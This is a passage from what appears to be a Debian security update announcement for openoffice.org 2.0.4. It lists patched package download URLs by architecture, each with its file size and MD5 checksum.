      Size/MD5 checksum:  2042682 3c2ebcfe1df3eaceb657b16b24c39274
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-cy_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   856584 b804bf0cee9235cd466db162da63a1f8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-da_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1974672 3450683a2016127efc12851d7c1f87a9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-de_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1973994 4212d75a2325d0fd180c4cbf9d99a19c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-dz_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   961394 4bd757741ec5a3e01d60c51041bf85c6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-el_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   966004 f97275de314584125d24f9c52d579679
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-en-gb_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2021864 67aa615635c8703aa9732b92a1faa502
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-en-za_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   816544 734b25c45e558add4ed357ab4a61b040
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-eo_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   860686 83a16f573ff226611b4c23545d78b681
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-es_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1964102 e43f293cd6b2447232fa0a873fdbd9e5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-et_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   860134 eafaf7e39c2a48dfda121fba4371acc6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fa_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   885846 786937b8a72604907ba0184568b6373c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fi_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   874852 5cc15376b0795b54f9832a0b8b98ae39
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-fr_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1968884 e985e191aa74b2fe86c5e5bea615aed1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ga_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   887210 e8d7ee68bf97b62ea16f7e4fa2288685
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-gu-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   937476 0240bfdae7736e91771d69f117d776c4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-he_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   890620 4319d1b4d713b0fd7e65c27ff56c2aae
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hi-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   948252 0bdbffd970d3173dd017a683a587ac78
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hi_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   215356 229e92e4ceadafd7e57cef15c9747d8c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hr_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   875398 d63af9296bf472cf2063e4326f98b399
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-hu_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2081688 9d1b613bff1bf4c04a43dd1880b9d85e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   215468 10b09cf4e645e24eb0cb9cd9b80b9d26
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-it_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1967100 74a91479050aa3fb47b05dc2e43c56c1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ja_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2123202 daf32b9c9f5fb49fb6498ca259a9086c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ka_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   915416 a9681d8867298e0d22f5b8d0cb6e2d97
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-km_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2125942 a0ea8d5e0e8ea891dd80f1fe1f028b40
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ko_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1986474 b14a51d241f07e3c2b086bea5f9ad10d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ku_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   891460 a5e23f3416791860c54594bb5aa66b24
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-lo_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   910340 4dd2a8be780a670885c619b7090240db
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-lt_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   880210 4cac31b2f3d81f0d5af8c72db555ea8f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-lv_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   881062 e598837d3abd2a4ed00cd1b0d67a9641
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-mk_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   925994 e685cd2f29dcb15afb8765ae8510b50b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ml-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   930636 b00e31f30e4c558021181dfd257d6ce8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nb_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   860854 3b75e77c013487e8e89734890459ef85
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ne_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   928820 bad1cd10ed5216379e73315b1a11e712
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nl_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2032022 cc43b2782dfdb082613978ee78b3f59d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nn_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   859878 f6c6631d32d89fd144fe3fe4510b7db5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-nr_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   893504 0beee270063495f3fbabd1382bdc60c1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ns_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   886928 0bcecc6cf4ddfa08546efe17ddf419f5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-or-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   922502 b349a3c5f78716e443b915f09359043b
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pa-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   908692 879c31234cd7158997775a93c9ce801f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pl_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1988296 7b5b184d60b2b69ec2220656a169a927
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pt-br_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1971192 bbc25e7cc99eec3df6f089625b51b352
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-pt_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1059204 02618f6c24721e3f0b9368d0740db72d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ru_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2040442 d204990e0e6602d2c67659f17364a839
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-rw_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   869526 21e469b1bc53a02f4e2580b558afd97e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sk_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2045310 55f00d99a4c16d9da52f9c4bccbdabfd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sl_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2033438 0091c7e5aa6b322438c5b2bc43b73f49
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sr-cs_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   918352 d31beb6b619cd588538d68fae57b7d86
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ss_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   884058 e55f079be83445e404c71e933d14f068
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-st_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   884744 b560f24f4128ab3b15cfd8a48de275c0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-sv_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1955424 59bcf5f3331b0075f788d6f74ca6dbcb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ta-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   915568 c54b42ebfcbbd0608f5c4e0022f357c1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-te-in_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   935672 83c47faadb2bcfe6d21ac2041216aeeb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-tg_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   910550 4e71ec2ef729a07eafa7f9e1e8ae1dab
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-th_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   939154 39b7eacb4e87366a33d3ca62728944fa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-tn_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   839226 adeacecb72d602fd022aec0a517b0b62
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-tr_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  1390064 cf66cd71f2871ccff34d34e7149b5df4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ts_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   885734 249a7a6da9a90ef280604d6af5b339f5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-uk_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   921480 49da54bd4abfbf44edacbc2695609a1c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-ve_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   893428 ce3bb5c42d508ef2af3f9eb4c1de5897
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-vi_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   875104 5fc7d18170524c29e0f76afab7016beb
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-xh_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   904146 8efe024a7fb56b92d8efe5d53a4c17f4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-za_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   215460 9ccd645f7cac84540a1d91ca85e5a761
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-zh-cn_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2079576 8e5668c104b5e3b6bd21bf4f03c07de5
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-zh-tw_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2072524 a87d2a0d871b5b952bd47e44dd4c2276
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-l10n-zu_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   893822 6b5bf9248653c56eff7bb96ec84e5664
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-api-tests_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:  2333656 f1c52548a7c180e08fb06612afe98cee
    http://security.debian.org/pool/updates/main/o/openoffice.org/ttf-opensymbol_2.0.4.dfsg.2-7etch7_all.deb
      Size/MD5 checksum:   286870 7a2d812ac2e31e2710d5a18dc442dd54

  Alpha architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch5_alpha.deb
      Size/MD5 checksum:   107204 eb8e3d346517e25317f480dad599ac0e

  AMD64 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   105818 efb32ebd462373be16953821b240c9b2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   216594 d1ef8b65af7e65b0ffc3ac8f8c9d6146
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  3819234 b694c20ed9f57c9e6c843bf6708a8790
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  5414954 521a973f3a67314061d4a221614db238
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum: 35714138 0943511ef588c578623ac532cca78f69
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum: 38201216 f12cdbb22a2263d8307960770a0b9acd
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  3756644 f025f478369d4906766e14077f9e32b1
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  2550022 654fde5b5fea7665b1aeedceac506c3f
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   308314 8807bfe5f780644398657856002a75c7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-so52_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  9779798 3bfb7fed25f3fba5b78f60ed6ae8c548
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  5342986 60f15e5223da441c25e167250994a28c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   296454 7f6615d5a7cf1498a27155fdb51bf836
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   403522 d08696b786a91a3ae6495ff33d9a3917
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk-gnome_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   214354 ef58b2669e7d63fb53f1c1097fffb8f8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   861524 916f7a53eebe7b9782399e28a466a699
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   447396 03c85f40643ca917230fd99e56105c3d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   537920 a83314dbb41883d9378319e8434ba337
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   254320 1b356e67ea2cc6447884990ba6ddc92e
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   828352 e357a6b9297801a8c3571f916ba18101
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:  6273034 1d8fccd48bc710c4494147be058ec39b
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.0.4.dfsg.2-7etch7_amd64.deb
      Size/MD5 checksum:   360620 8be26f34506384de99846d067ad5bb65

  ARM architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch6_arm.deb
      Size/MD5 checksum:   105102 17081ed10f4e8ec17d14374475281d7f

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch5_hppa.deb
      Size/MD5 checksum:   106512 23833d06df1f95efc221675639afe2cd

  Intel IA-32 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   106046 c15cfd7fafb4f38be0e534dfabbe52f9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   217168 751c7399c4e7f144b0fa795fb5d7af70
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  3721730 61aebc45385d7d349e1f28be9f9c1589
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  5164422 105cd5e6d5fa3ea9f43b147369562dda
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum: 34485186 5127ba2c052222c1f51bd449e63c0609
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum: 36453340 0d5cc2701fd6b4643e0f4d606e6197e6
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  3718122 aeb7fc5c8f80919d5a025101707a2c7a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  2486938 0eb208db7462505e57c059b90664c075
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   303944 df16d69b21677b8ef6c8d7e10d9d71a9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-so52_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  9298234 57bba59ac41194d27f2d07d963241dbf
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  4362032 cf271dde4c763de66e477e9db4a0d34a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   292238 c5dec4296190074732cfa0a453f2c462
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   399486 cda8baacf353ce872ea89bd59c9e07f0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk-gnome_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   214940 d2892c4978d0359b746d9d7b13d66055
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   857938 e309ce4b9d9e895109da571a308b2440
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   435580 90285b9790f8a2c07b75edecf959d9f2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   525744 84452b9a21d9a800a091274bb09a386a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   252576 627c0b164b6845be7718ebcdbc735af7
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   826724 3ceec831743eee6d94f28d16c67c3b90
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:  6098410 913d18a48045b03c423f139dbc466b7e
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.0.4.dfsg.2-7etch7_i386.deb
      Size/MD5 checksum:   359012 9d4b8c68368529959f3bb97d4dbd6b5e

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_ia64.deb
      Size/MD5 checksum:   105530 541fb4b719976cf11973e59916c9d9ff

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_mips.deb
      Size/MD5 checksum:   105332 360b0ee43aea505ea2b1faf906c136db

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_mipsel.deb
      Size/MD5 checksum:   104060 af0dd7aece6dbc86d3b0b52b97e7931e

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   105606 0b62bd25a44a072f20dafce4a1983c01
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   217570 2667f0c3f3b0f7fb994ee0c75fa70c10
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  3892834 62ef35cc169e4fff24d93a9c7f40212d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  5292748 b8f400943ac5651db5472e41d9960c98
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum: 35847624 6ffc4f6cb38fc6281021166fee023aa9
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum: 38474598 a566c36838d56801674aed69a81c83c4
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  3768834 7346ccc073334bc5339fdcba7c793c01
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  2489514 4e0ed3aec058a6398f81466ae8c1040d
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-evolution_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   314422 9994b819d7d876182dfca93c12572c9c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-filter-so52_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  9649674 feff736e48308fb0822a666fe55da488
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gcj_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  5056512 b9a2e449a4e1dc8694bd39647e83c547
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gnome_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   301300 9cd680874d682c9cdcff3a5d1bbba96a
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   408492 48c2e93b48c35917fc1d817d728d8646
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-gtk-gnome_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   215380 0fe3a1b88e1d0e2ad54be09f77420b63
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-impress_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   890434 6b9ddca0d6b4437f70447e4bdb06e2ae
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-kde_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   451000 2663fa164bdeaf14bc4317213c1e02b3
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-math_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   520122 148290c3ce0c5e06a3a15a921a3d9caa
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-officebean_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   254390 d7743b453fef5896f0b7e84169bae5c8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-qa-tools_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   822706 769979cf76d2ab5f70d52ed412c7b282
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-writer_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:  6080290 239a6299e9a628be5de038b292090a4d
    http://security.debian.org/pool/updates/main/o/openoffice.org/python-uno_2.0.4.dfsg.2-7etch7_powerpc.deb
      Size/MD5 checksum:   367532 cc648608bdd14d1cdb00a2e2dae3dd62

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch7_s390.deb
      Size/MD5 checksum:   105954 7cf54fc5eac9424e3982dd4449483a22

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/o/openoffice.org/libmythes-dev_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   105046 471ba53a356bf131df71dd9345ca48e8
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:   217018 8218259f26afe2a67b21481ddf7d9848
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-base_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  3923984 944a554f48cbd40202af77b5993ae3f2
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-calc_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  5327502 e9c2dbb8ce2c12e2609935e0249cd4bc
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-core_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum: 35524050 6b7d2f91ad0d053e6cebfd70c879d456
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dbg_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum: 36167602 572e8425e427fe12919f5cb81d4a57d0
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-dev_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  3730126 6071b31aa0933887a023c35f25da613c
    http://security.debian.org/pool/updates/main/o/openoffice.org/openoffice.org-draw_2.0.4.dfsg.2-7etch6_sparc.deb
      Size/MD5 checksum:  2503256 f24c9a68eaaa1105da3fd3c3109619a9
